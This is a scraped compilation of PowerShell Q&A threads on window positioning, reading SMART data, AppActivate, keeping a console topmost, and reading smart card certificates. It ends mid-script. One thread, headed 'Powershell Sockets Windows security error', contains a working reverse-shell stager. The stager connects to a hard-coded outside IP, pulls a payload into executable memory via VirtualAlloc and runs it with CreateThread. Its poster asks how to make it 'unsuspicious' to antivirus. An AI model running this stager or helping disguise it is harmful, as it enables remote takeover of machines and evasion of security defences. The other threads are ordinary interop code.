Open firefox from powershell - powershell

I can open internet explorer doing this, is it posible doing the same with firefox?
$ie = new-object -comobject InternetExplorer.Application;
$ie.visible = $true;
#$ie2 = $ie.Width = 200;
$ie.top = 0; $ie.width = 1000; $ie.height = 600 ; $ie.Left = 200;
$ie.navigate('https://google.com');

See this discussion and answer
Setting window size and position in PowerShell 5 and 6
# Call Firefox and set to window position on its process
Start-Process -FilePath 'C:\Program Files\Mozilla Firefox\firefox.exe'
Start-Sleep -Seconds 2
Set-Window -ProcessName firefox -x 1 -y 1 -Width 615 -Height 345 -Passthru

Firefox has command-line arguments for width and height, but I could not find anything for window position.
This works in 61.0.2. You may have to modify the parameters to FindWindow() based on your usage.
Note that this is not the most robust code ever, but it may suit your needs.
& "C:\Program Files\Mozilla Firefox\firefox.exe" -width 1000 -height 600 https://google.com
$Assem = (
"System.Runtime.InteropServices"
)
$Source = #"
using System;
using System.Runtime.InteropServices; // For the P/Invoke signatures.
namespace Code42 {
public static class PositionWindowDemo
{
// P/Invoke declarations.
[DllImport("user32.dll", SetLastError = true)]
static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll", SetLastError = true)]
static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
const uint SWP_NOSIZE = 0x0001;
const uint SWP_NOZORDER = 0x0004;
public static void MoveWindow(string name)
{
// Find (the first-in-Z-order) Notepad window.
IntPtr hWnd = FindWindow(null, name);
// If found, position it.
if (hWnd != IntPtr.Zero)
{
// Move the window to (0,0) without changing its size or position
// in the Z order.
SetWindowPos(hWnd, IntPtr.Zero, 0, 0, 0, 200, SWP_NOSIZE | SWP_NOZORDER);
}
}
}
}
"#
Add-Type -ReferencedAssemblies $Assem -TypeDefinition $Source -Language CSharp
[Code42.PositionWindowDemo]::MoveWindow("Google - Mozilla Firefox")
Sources:
https://stackoverflow.com/a/42306412/3608792
https://blogs.technet.microsoft.com/stefan_gossner/2010/05/07/using-csharp-c-code-in-powershell-scripts/
https://www.pinvoke.net/default.aspx/user32.FindWindow
https://www.pinvoke.net/default.aspx/user32.SetWindowPos

Related

Powershell Sockets Windows security error

Hello im trying to take connection to my metasploit server with this code:
function Connect-Server {
$port = "12365"
$connection = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp)
$connection.Connect('3.131.207.170', $port) | out-null; $instance = [Array]::CreateInstance("byte", 4); $receive = $connection.Receive($instance) | out-null; $value = 0
$create = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($instance,0)+5); $create[0] = 0xBF
while ($value -lt [BitConverter]::ToInt32($instance,0)) { $value += $connection.Receive($create,$value+5,1,[System.Net.Sockets.SocketFlags]::None) }
for ($converter=1; $converter -le 4; $converter++) {$create[$converter] = [System.BitConverter]::GetBytes([int]$connection.Handle)[$converter-1]}
$dlls = #"
[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z);
[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z);
"#
$thread = Add-Type -memberDefinition $dlls -Name "Win32" -namespace Win32Functions -passthru; $receive = $thread::VirtualAlloc(0,$create.Length,0x3000,0x40)
[System.Runtime.InteropServices.Marshal]::Copy($create, 0, [IntPtr]($receive.ToInt32()), $create.Length)
$thread::CreateThread(0,0,$receive,0,0,0) | out-null; Start-Sleep -Second 50000
catch{}
}
Connect-Server
But there is a problem im taking windows security warn notification when i execute it. So connection killed. I tried to disable my antivirus to work it and its worked for this time.
How i can make it unsuspictious? I just wanna make my code clean.
Not: I want to know what it makes it suspictious...

Using DeviceIOControl to get SMART-Info from USB-connected HDD

I want to read the SMART-attributes of an USB-attached HDD via Powershell.
Calling DeviceIOControl works fine if the HDD is build-in, but I dont understand the correct logics for getting the same info via USB. Here is a code snippet I have so far to get the SMART-version, but at this point I dont know how to continue. Can someone please explain the right sequence that should follow?
cls
Remove-Variable * -ea 0
$ErrorActionPreference = 'stop'
#requires -runasadmin
$drvId = 0
$marshal = [Runtime.InteropServices.Marshal]
$getSmartVersion = '0x074080'
$kernel32 = Add-Type -Name 'kernel32' -Namespace 'Win32' -PassThru -MemberDefinition #"
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
uint oControlCode,
IntPtr InBuffer,
uint nInBufferSize,
IntPtr OutBuffer,
uint nOutBufferSize,
ref uint pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
"#
$handle = $kernel32::CreateFile("\\.\PhysicalDrive$DrvId", [uint32]'0xc0000000', 3, [System.IntPtr]::Zero, 3, 64, [System.IntPtr]::Zero);
if ([int]$handle -lt 1) {throw 'cannot get handle.'}
# struct for SMART-version:
Add-Type -TypeDefinition #"
using System;
using System.Runtime.InteropServices;
public struct GETVERSIONINPARAMS_EX {
public Byte bVersion;
public Byte bRevision;
public Byte bReserved;
public Byte bIDEDeviceMap;
public UInt32 fCapabilities;
public UInt32 dwDeviceMapEx;
public UInt16 wIdentifier;
public UInt16 wControllerId;
public UInt64 dwReserved;
};
"#
# inBuffer:
$ptrInBuffer = [System.IntPtr]::Zero
$inBufferSize = 0
# outBuffer:
$smartVersionStruct = New-Object GETVERSIONINPARAMS_EX
$outBufferSize = $marshal::SizeOf($smartVersionStruct)
$ptrOutBuffer = $marshal::AllocHGlobal($OutBufferSize)
$resultSize = 0
$ioControlCode = [uint32]$getSmartVersion
if ($kernel32::DeviceIoControl($handle, $ioControlCode, $ptrInBuffer, $inBufferSize, $ptrOutBuffer, $outBufferSize, [ref]$resultSize, [System.IntPtr]::Zero)) {
$smartVersionStruct = $marshal::PtrToStructure($ptrOutBuffer, [type]'GETVERSIONINPARAMS_EX')
$smartVersionStruct | ft -AutoSize
}
$null = $kernel32::CloseHandle($handle)
# now the same for an USB-connected SSD:
$mediaList = gwmi -namespace root\Microsoft\Windows\Storage -class MSFT_PhysicalDisk
$usbMedia = $mediaList | ?{$_.BusType -eq 7}
$diskList = gwmi -namespace root\cimv2 –class Win32_DiskDrive
$usbDisk = $diskList.where({$_.Index -eq $usbMedia.DeviceId})
$usbMapping = gwmi -query "SELECT Antecedent,Dependent FROM Win32_USBControllerDevice"
$mapping = #($usbMapping).where({([wmi]$_.Dependent).PnPDeviceId -eq $usbDisk.PnPDeviceId})
$usbHost = [wmi]$mapping.Antecedent
# what should come next?
# getting the 'Root-Hub-Name' or not?
# check if UAS/USAP (USB Attached SCSI Protocol) is supported?
# IoControlCode = SCSCI-PassThrough or SCSIPassThroughDirect (each with or without Buffer)?

PowerShell: AppActivate with PID not working

Under Windows 10, I would like to send a keypress to an existing and running windows application. The sending of the keypress works fine but the AppActivate via the PID of the windows application does not work. Here my code:
Function SendCommandToExistingProcess([int] $processId, [string] $processName, [string] $command)
{
$functName = 'SendCommandToExistingProcess()' # function name for log
Add-Type -AssemblyName Microsoft.VisualBasic
Add-Type -AssemblyName System.Windows.Forms
[Microsoft.VisualBasic.Interaction]::AppActivate($processId)
[System.Windows.Forms.SendKeys]::SendWait($command)
WriteLogEntry -severity $sevInfo -functName $functName `
-entryText ("Command '" + $command + "' sent to process '" + `
$processName + "' with id '" + $processId)
}
$processId contains the PID of the windows application to set focus to
$command contains the keypress to send ('p')
For AppActivate I use the PID instead of the application windows title because the application title contains two special characters (similar to the copyright sign). It seems that AppActivate only works with the title (tested this successfully) but not with the PID though the AppActivate documentation shows an AppActivate overlay that acceptes a PID. I tried to set focus to the windows calculator by typing its PID as a number directly in AppActivate; did not work.
*** Update ***
The PID is obtained the following way:
Function SendCommandToProcess([string] $processName, [string] $command)
{
$result = $false # initialise to process does not exist
$functName = 'SendCommandToProcess()' # function name for log
$processId = (Get-Process -Name $processName -erroraction 'silentlycontinue').Id
if ($processId.Count -gt 0) # procss(es) exist(s)
{ # normally just one process but could be serveral
Foreach ($id IN $processId)
{ SendCommandToExistingProcess -processId $id -processName $processName -command $command }
# send command to each of them
$result = $true # command sent to specified process
}
else
{
WriteLogEntry -severity $sevWarning -functName $functName `
-entryText ("Process '" + $processName + "' not found (not running)")
}
return $result
}
$processName contains the string 'Prepar3D'
When I run the above code in PowerShell with admin rights I get the following error message:
Ausnahme beim Aufrufen von "AppActivate" mit 1 Argument(en): "Der Prozess {0} wurde nicht gefunden."
English: Exception when calling "AppActivate' with 1 argument(s): "The process {0} could not be found"
What is fooling me? Thanks for your help
Hannes
I have the same problem as I want to focus on an application called aces.exe. The solution that worked for me was following this guide:
https://powershell.one/powershell-internals/extending-powershell/vbscript-and-csharp#c-to-the-rescue
In this, Dr. Tobias Weltner, talks about 3 ways to focus on application windows. The one that will work for you is the Chapter: C# to the Rescue.
I used the admin ISE-PowerShell and copied the code from the link above. (Chapter: C# to the Rescue)
DO NOT COPY THIS CODE BUT FOLLOW THE INSTRUCTION AT THE LINKED PAGE.
This is what code I copied and used:
PS C:\Windows\system32> $code = #'
using System;
using System.Runtime.InteropServices;
namespace API
{
public class FocusWindow
{
[DllImport("User32.dll")]
private static extern bool SetForegroundWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool AttachThreadInput(IntPtr idAttach, IntPtr idAttachTo, bool fAttach);
[DllImport("User32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("User32.dll")]
private static extern IntPtr GetWindowThreadProcessId(IntPtr hwnd, IntPtr lpdwProcessId);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32")]
private static extern int BringWindowToTop(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SystemParametersInfo(uint uiAction, uint uiParam, IntPtr pvParam, uint fWinIni);
private const uint SPI_GETFOREGROUNDLOCKTIMEOUT = 0x2000;
private const uint SPI_SETFOREGROUNDLOCKTIMEOUT = 0x2001;
private const int SPIF_SENDCHANGE = 0x2;
private const int SW_HIDE = 0;
private const int SW_SHOWNORMAL = 1;
private const int SW_NORMAL = 1;
private const int SW_SHOWMINIMIZED = 2;
private const int SW_SHOWMAXIMIZED = 3;
private const int SW_MAXIMIZE = 3;
private const int SW_SHOWNOACTIVATE = 4;
private const int SW_SHOW = 5;
private const int SW_MINIMIZE = 6;
private const int SW_SHOWMINNOACTIVE = 7;
private const int SW_SHOWNA = 8;
private const int SW_RESTORE = 9;
private const int SW_SHOWDEFAULT = 10;
private const int SW_MAX = 10;
public static void Focus(IntPtr windowHandle)
{
IntPtr blockingThread = GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero);
IntPtr ownThread = GetWindowThreadProcessId(windowHandle, IntPtr.Zero);
if (blockingThread == ownThread || blockingThread == IntPtr.Zero)
{
SetForegroundWindow(windowHandle);
ShowWindow(windowHandle, 3);
}
else
{
if (AttachThreadInput(ownThread, blockingThread, true))
{
BringWindowToTop(windowHandle);
SetForegroundWindow(windowHandle);
ShowWindow(windowHandle, SW_MAXIMIZE);
AttachThreadInput(ownThread, blockingThread, false);
}
}
if (GetForegroundWindow() != windowHandle)
{
IntPtr Timeout = IntPtr.Zero;
SystemParametersInfo(SPI_GETFOREGROUNDLOCKTIMEOUT, 0, Timeout, 0);
SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, IntPtr.Zero, SPIF_SENDCHANGE);
BringWindowToTop(windowHandle);
SetForegroundWindow(windowHandle);
ShowWindow(windowHandle, SW_MAXIMIZE);
SystemParametersInfo(SPI_SETFOREGROUNDLOCKTIMEOUT, 0, Timeout, SPIF_SENDCHANGE);
}
}
}
}
'#
# remove -PassThru in production. It is used only to
# expose the added types:
Add-Type -PassThru -TypeDefinition $code
IsPublic IsSerial Name BaseType
-------- -------- ---- --------
True False FocusWindow System.Object
PS C:\Windows\system32> Add-Type -PassThru -TypeDefinition $code |
Where-Object IsPublic |
Select-Object -Property FullName
FullName
--------
API.FocusWindow
PS C:\Windows\system32> # get the main window handle for the process
# you want to switch to the foreground:
# in this example, the first instance of notepad is used
# (make sure notepad runs)
$process = Get-Process -Name aces -ErrorAction SilentlyContinue |
Select-Object -First 1
$mainWindowHandle = $process.MainWindowHandle
if (!$mainWindowHandle)
{
Write-Host "Window may be minimized, or process may not be running" -Foreground Red
}
# focus application window (and maximize it)
[API.FocusWindow]::Focus($mainWindowHandle)
PS C:\Windows\system32>
I also tried to use the nuget pack "PSOneApplicationWindow" that is in the first chapter in the link provided and that did not work to get focus on the aces.exe.
I use the Main Window Handle to solve this:
Note I have a com object built named $ie
$app = Get-Process | ?{$_.MainWindowHandle -eq $ie.hwnd}
[Microsoft.VisualBasic.Interaction]::AppActivate($app.Id)
sleep -Milliseconds 50
So build the object, search the process by the hwnd property, pass that as the object and make that the active app. Don't forget to add the sleep to give the app a moment to pop up before moving on to the next command. It makes the call much more stable.

Set console Top-Most in PowerShell

So while there is much advise about how to set forms topmost, i couldnt find anything that makes my console run topmost.
So my question: How do I make my console run top-most during a script?
This requires some .NET interop, as detailed in this blog:
Scripts From TechEd 2012… Part 1 (Keeping PowerShell Window On Top)
I've copied the relevant code below in case the linked site disappears:
$signature = #'
[DllImport("user32.dll")]
public static extern bool SetWindowPos(
IntPtr hWnd,
IntPtr hWndInsertAfter,
int X,
int Y,
int cx,
int cy,
uint uFlags);
'#
$type = Add-Type -MemberDefinition $signature -Name SetWindowPosition -Namespace SetWindowPos -Using System.Text -PassThru
$handle = (Get-Process -id $Global:PID).MainWindowHandle
$alwaysOnTop = New-Object -TypeName System.IntPtr -ArgumentList (-1)
$type::SetWindowPos($handle, $alwaysOnTop, 0, 0, 0, 0, 0x0003)
Edit:
As described in the comments: If you're from a batch file, PowerShell runs in a child process and doesn't own the console window, so you'll have to make changes:
$signature = #'
[DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
public static extern bool SetWindowPos(
IntPtr hWnd,
IntPtr hWndInsertAfter,
int X,
int Y,
int cx,
int cy,
uint uFlags);
'#
$type = Add-Type -MemberDefinition $signature -Name SetWindowPosition -Namespace SetWindowPos -Using System.Text -PassThru
$handle = $type::GetConsoleWindow()
$type::SetWindowPos($handle, -1, 0, 0, 0, 0, 0x0003)

View All Certificates On Smart Card

I am trying to create a script to remove all but the newest certificate from any given smart card (in the SC Reader at the time). This is something that I intend to be able to distribute to end users, so it should be self sufficient. My first issue is reading the certificates on the card. I do not want to affect any certificates not on the smart card, so I looked for solution that directly read from the card, and I found this gem:
How to enumerate all certificates on a smart card (PowerShell)
It's old, but it looks like it should do what I need. It really does seem to work in general but PowerShell ISE crashes when I get to the line:
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
I can create a generic store which defaults to the 'My' store by excluding the ($hwStore) from that line without issues, but specifying that store reliably crashes my PowerShell ISE.
Here is the function from that site, the line I have issue with is near the bottom.
function Get-SCUserStore {
[string]$providerName ="Microsoft Base Smart Card Crypto Provider"
# import CrytoAPI from advapi32.dll
$signature = #"
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetProvParam(
IntPtr hProv,
uint dwParam,
byte[] pbProvData,
ref uint pdwProvDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDestroyKey(
IntPtr hKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptAcquireContext(
ref IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
long dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetUserKey(
IntPtr hProv,
uint dwKeySpec,
ref IntPtr phUserKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetKeyParam(
IntPtr hKey,
uint dwParam,
byte[] pbData,
ref uint pdwDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptReleaseContext(
IntPtr hProv,
uint dwFlags);
"#
$CryptoAPI = Add-Type -member $signature -name advapiUtils -Namespace CryptoAPI -passthru
# set some constants for CryptoAPI
$AT_KEYEXCHANGE = 1
$AT_SIGNATURE = 2
$PROV_RSA_FULL = 1
$KP_CERTIFICATE = 26
$PP_ENUMCONTAINERS = 2
$PP_CONTAINER = 6
$PP_USER_CERTSTORE = 42
$CRYPT_FIRST = 1
$CRYPT_NEXT = 2
$CRYPT_VERIFYCONTEXT = 0xF0000000
[System.IntPtr]$hProvParent=0
$contextRet = $CryptoAPI::CryptAcquireContext([ref]$hprovParent,$null,$providerName,$PROV_RSA_FULL,$CRYPT_VERIFYCONTEXT)
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$ProvData,[ref]$pdwProvDataLen,0)
}
$enc = new-object System.Text.UTF8Encoding($null)
$keyContainer = $enc.GetString($ProvData)
write-host " The Default User Key Container:" $keyContainer
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$ProvData,[ref]$pdwProvDataLen,0)
[uint32]$provdataInt = [System.BitConverter]::ToUInt32($provdata,0)
[System.IntPtr]$hwStore = $provdataInt
}
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
# release smart card
$ReleaseContextRet = $CryptoAPI::CryptReleaseContext($hprovParent,0)
return $store
}
I don't have any experience with P/Invoke (I think I said that right), so I am unsure how to troubleshoot commands derived from things imported that way.
Edit: The providers that are listed by certutil -scinfo -silent are:
Microsoft Base Smart Card Crypto Provider
Microsoft Smart Card Key Storage Provider
I have tried both of those in the below script with the same end result. The second of which gives me � characters when the script tells me what my default user key container is, so I have a feeling that it is not correct.
I did also try the x86 version of PowerShell, as suggested by Vesper. The application does not crash, and it does return a valid store with my smart card's certificate(s) on it. Now the issue is that I can't send that out to users, because expecting them to be able to navigate to the x86 version of PowerShell and then run a script with it is like expecting my dog to make me waffles... I suppose it could happen, but more likely than not something will go wrong and I'll end up having to do it myself anyway.
Edit2: Ok, so I guess I'll force that part of the script to run in x86 mode. I will post an answer with my updated code and accept it. If #Vesper posts an answer about the 64/32 bit thing (hopefully with a hair more info) I will accept his answer so that he gets credit since his comment is what lead me to the solution.
So, the main problem is actually that you're linking an x86 DLL into a x64 Powershell process. You can check whether your Powershell process is x64 like here (by querying (Get-Process -Id $PID).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"]), and if an x64 Powershell detected, start manually a Powershell (x86) located at $env:windir\syswow64\WindowsPowerShell\v1.0\powershell.exe with the same script. To get the full name of the script, use $MyInvocation.MyCommand.Definition. If Powershell is detected as x86, you proceed with importing the type and run the enumeration. An example:
$Arch = (Get-Process -Id $PID).StartInfo.EnvironmentVariables["PROCESSOR_ARCHITECTURE"];
$Arch
if ($arch -eq "AMD64") {
$here=$myinvocation.mycommand.definition
"$here launched as $arch!"
start-process C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoNewWindow -ArgumentList $here -wait
return
}
"now running under x86"
So my solution was to check if the powershell session is running in 32 or 64 bit mode, and if it is running in 64 bit mode (most likely) then it will run the original script as a job using the -RunAs32 argument switch. If it's already running in 32 bit mode it will simply invoke the scriptblock in the current session. Final script to get certificates off a smart card (as an x509 Certificate Store) ended up being:
$RunAs32Bit = {
[string]$providerName ="Microsoft Base Smart Card Crypto Provider"
# import CrytoAPI from advapi32.dll
$signature = #"
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetProvParam(
IntPtr hProv,
uint dwParam,
byte[] pbProvData,
ref uint pdwProvDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDestroyKey(
IntPtr hKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptAcquireContext(
ref IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
long dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetUserKey(
IntPtr hProv,
uint dwKeySpec,
ref IntPtr phUserKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetKeyParam(
IntPtr hKey,
uint dwParam,
byte[] pbData,
ref uint pdwDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptReleaseContext(
IntPtr hProv,
uint dwFlags);
"#
$CryptoAPI = Add-Type -member $signature -name advapiUtils -Namespace CryptoAPI -passthru
# set some constants for CryptoAPI
$AT_KEYEXCHANGE = 1
$AT_SIGNATURE = 2
$PROV_RSA_FULL = 1
$KP_CERTIFICATE = 26
$PP_ENUMCONTAINERS = 2
$PP_CONTAINER = 6
$PP_USER_CERTSTORE = 42
$CRYPT_FIRST = 1
$CRYPT_NEXT = 2
$CRYPT_VERIFYCONTEXT = 0xF0000000
[System.IntPtr]$hProvParent=0
$contextRet = $CryptoAPI::CryptAcquireContext([ref]$hprovParent,$null,$providerName,$PROV_RSA_FULL,$CRYPT_VERIFYCONTEXT)
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$ProvData,[ref]$pdwProvDataLen,0)
}
$enc = new-object System.Text.UTF8Encoding($null)
$keyContainer = $enc.GetString($ProvData)
write-host " The Default User Key Container:" $keyContainer
[Uint32]$pdwProvDataLen = 0
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$ProvData,[ref]$pdwProvDataLen,0)
[uint32]$provdataInt = [System.BitConverter]::ToUInt32($provdata,0)
[System.IntPtr]$hwStore = $provdataInt
}
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
# release smart card
$ReleaseContextRet = $CryptoAPI::CryptReleaseContext($hprovParent,0)
return $store
}
#Run the code in 32bit mode if PowerShell isn't already running in 32bit mode
If($env:PROCESSOR_ARCHITECTURE -ne "x86"){
Write-Warning "Non-32bit architecture detected, collecting certificate information in separate 32bit process."
$Job = Start-Job $RunAs32Bit -RunAs32
$SCStore = $Job | Wait-Job | Receive-Job
}Else{
$SCStore = $RunAs32Bit.Invoke()
}
I have been attempting to solve this same problem, and have come up with the following code. This is exactly what you have, with a couple of additions to deal with the 64-bit environment. This should do what you want without re-launching PowerShell as a 32-bit process.
function Get-SCUserStore {
[CmdletBinding()]
param(
[string]$providerName ="Microsoft Base Smart Card Crypto Provider"
)
# import CrytoAPI from advapi32.dll
$signature = #"
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetProvParam(
IntPtr hProv,
uint dwParam,
byte[] pbProvData,
ref uint pdwProvDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptDestroyKey(
IntPtr hKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptAcquireContext(
ref IntPtr hProv,
string pszContainer,
string pszProvider,
uint dwProvType,
long dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetUserKey(
IntPtr hProv,
uint dwKeySpec,
ref IntPtr phUserKey);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptGetKeyParam(
IntPtr hKey,
uint dwParam,
byte[] pbData,
ref uint pdwDataLen,
uint dwFlags);
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
[return : MarshalAs(UnmanagedType.Bool)]
public static extern bool CryptReleaseContext(
IntPtr hProv,
uint dwFlags);
"#
$CryptoAPI = Add-Type -member $signature -name advapiUtils -Namespace CryptoAPI -passthru
# set some constants for CryptoAPI
$AT_KEYEXCHANGE = 1
$AT_SIGNATURE = 2
$PROV_RSA_FULL = 1
$KP_CERTIFICATE = 26
$PP_ENUMCONTAINERS = 2
$PP_CONTAINER = 6
$PP_USER_CERTSTORE = 42
$CRYPT_FIRST = 1
$CRYPT_NEXT = 2
$CRYPT_VERIFYCONTEXT = 0xF0000000
[System.IntPtr]$hProvParent=0
if([Environment]::Is64BitProcess) {
[Uint64]$pdwProvDataLen = 0
} else {
[Uint32]$pdwProvDataLen = 0
}
$contextRet = $CryptoAPI::CryptAcquireContext([ref]$hprovParent,$null,$providerName,$PROV_RSA_FULL,$CRYPT_VERIFYCONTEXT)
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_CONTAINER,$ProvData,[ref]$pdwProvDataLen,0)
}
$enc = new-object System.Text.UTF8Encoding($null)
$keyContainer = $enc.GetString($ProvData)
Write-Verbose ("The Default User Key Container:{0}" -f $keyContainer)
if([Environment]::Is64BitProcess) {
[Uint64]$pdwProvDataLen = 0
} else {
[Uint32]$pdwProvDataLen = 0
}
[byte[]]$pbProvData = $null
$GetProvParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$pbProvData,[ref]$pdwProvDataLen,0)
if($pdwProvDataLen -gt 0)
{
$ProvData = new-Object byte[] $pdwProvDataLen
$GetKeyParamRet = $CryptoAPI::CryptGetProvParam($hprovParent,$PP_USER_CERTSTORE,$ProvData,[ref]$pdwProvDataLen,0)
if([Environment]::Is64BitProcess) {
[UInt64]$provdataInt = [System.BitConverter]::ToUInt64($provdata,0)
[System.IntPtr]$hwStore = [Long]$provdataInt
} else {
[UInt32]$provdataInt = [System.BitConverter]::ToUInt32($provdata,0)
[System.IntPtr]$hwStore = $provdataInt
}
}
$store = new-object System.Security.Cryptography.X509Certificates.X509Store($hwStore)
# release smart card
$ReleaseContextRet = $CryptoAPI::CryptReleaseContext($hprovParent,0)
return $store
}
write-host ((get-WmiObject win32_PnPSignedDriver|where{$_.deviceID -like "*smartcard*"}).devicename) "reports the following certificates;"
# returns System.Security.Cryptography.X509Certificates.X509Store object representing PP_USER_CERTSTORE on Smart Card
$SCcertStore = Get-SCuserSTore
# enumerate certificates
$SCcertStore.certificates
A complete example to convert mstest coverage file into an xml file is provided below.
This example includes passing of parameters and a way to identify the current script location.
<#
.SYNOPSIS
Script to convert code coverage report into xml format that can then be published by external tools.
.DESCRIPTION
Covering code coverage staistics as part of quality improvement initiatives .
https://stackoverflow.com/questions/30215324/vstest-code-coverage-report-in-jenkins
#>
Param(
[String] $InputCoveragePath =#("..\GeneratedFiles\Docs\Reports"),
[String] $OutputCoverageFileExtension =#(".coveragexml"),
[String] $CoverageAnalysisAssembly =#("Microsoft.VisualStudio.Coverage.Analysis.dll"),
[String[]] $ExecutablePaths =#(""),
[String[]] $SymbolPaths =#("")
)
$ScriptLocation = Split-Path $script:MyInvocation.MyCommand.Path -Parent
Write-Host $ScriptLocation
<#
if(!(Test-Path "$OutputCoverageFile")){
Write-Host "Creating empty coveragle file $OutputCoverageFile"
